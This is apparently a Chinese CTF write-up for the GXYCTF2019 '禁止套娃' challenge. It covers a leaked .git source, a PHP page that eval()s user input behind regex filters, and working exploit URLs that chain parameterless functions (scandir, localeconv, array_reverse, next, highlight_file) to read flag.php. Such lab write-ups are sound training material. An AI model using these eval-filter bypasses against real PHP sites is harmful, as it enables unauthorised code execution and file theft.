[GXYCTF2019]禁止套娃 WP

1.第一步是.git文件泄露

用GitHack.py跑一下得到源码index.php

2.读源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

其中有三个过滤,第一个过滤了常见的php伪协议。
第二个这种正则,就是我们说的无参数函数的校验。
比如:
a(b());可以通过校验
但是a(b(‘exp’)); b函数中带了参数,那么就不能通过这个正则。
第三个过滤就是不能用带有这些词组的函数了。

3.如何得到flag.php文件名?

scandir()函数可以扫描当前目录下的文件

<?php print_r(scandir('.')); ?>

可以本地实验一下。但是scandir中的.参数是题目不允许的。于是用getcwd()获得当前目录,scandir(getcwd())可以获得当前目录文件。如果要获得上层目录可以用dirname(),使用scandir(dirname(getcwd()))。但是et被过滤,必须找别的办法。

current(localeconv())的返回值是个.

<?php
   print_r(current(localeconv()));
?>
?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述可以看到flag.php是倒数第二个值。假设是倒数第一个可以用end()直接读到,那么我们需要想办法读到flag.php

?exp=print_r(array_reverse(scandir(current(localeconv()))));

在这里插入图片描述用了array_reverse()那么数组就会反过来,那么只需要读取第二个就能读到flag.php

然后通过操作数组的方法,next() 将内部指针指向数组中的下一个元素并输出
next(array_reverse(scandir(pos(localeconv())))) 就得到了 flag.php

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

在这里插入图片描述

4.如何读取flag的源码呢?

et被ban了,所以不能使用file_get_contents(),但是可以可以使用readfile()或highlight_file()以及其别名函数show_source()

http://bf22d770-a14e-4262-b175-d5eca08bdce4.node3.buuoj.cn/?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
view-source:http://bf22d770-a14e-4262-b175-d5eca08bdce4.node3.buuoj.cn/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));

5.另一种方法

session_id(session_start())
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
在这里插入图片描述手动设置sesssion让它等于flag.php。也能读取flag.php

参考:https://www.cnblogs.com/wangtanzhi/p/12260986.html
https://www.suk1.top/2020/02/05/GXY%E5%A5%97%E5%A8%83/#session-id-session-start

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值